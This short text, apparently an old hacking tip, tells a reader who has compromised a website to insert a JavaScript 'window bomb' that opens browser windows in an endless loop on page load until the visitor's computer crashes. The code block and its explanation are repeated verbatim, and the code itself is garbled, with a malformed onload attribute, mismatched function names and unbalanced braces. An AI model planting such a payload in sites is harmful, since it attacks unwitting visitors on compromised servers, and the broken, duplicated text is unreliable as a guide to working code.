If you are able to successfully exploit a website and want to make a computer crash, insert the code:
<HTML>
<HEAD>
<TITLE>WARNING! </TITLE>
</HEAD>
<BODY onload-"windowsbomb()">
<SCRIPT Language = "javascript">
function windowbomb()
{
var icounter=0 // dummy counter
while (true)
{
{window.open("http://www.netscape.com","CRASHING" + icounter,
"width=1, height=1,resizable=no")
icounter++
}
}
</script>
</BODY>
</HTML>
This is a scripting code, with a poor logic design, but put in this way purposely. It will continue opening webpages to this site untill all available resources have been consumed.
<HTML>
<HEAD>
<TITLE>WARNING! </TITLE>
</HEAD>
<BODY onload-"windowsbomb()">
<SCRIPT Language = "javascript">
function windowbomb()
{
var icounter=0 // dummy counter
while (true)
{
{window.open("http://www.netscape.com","CRASHING" + icounter,
"width=1, height=1,resizable=no")
icounter++
}
}
</script>
</BODY>
</HTML>
This is a scripting code, with a poor logic design, but put in this way purposely. It will continue opening webpages to this site untill all available resources have been consumed.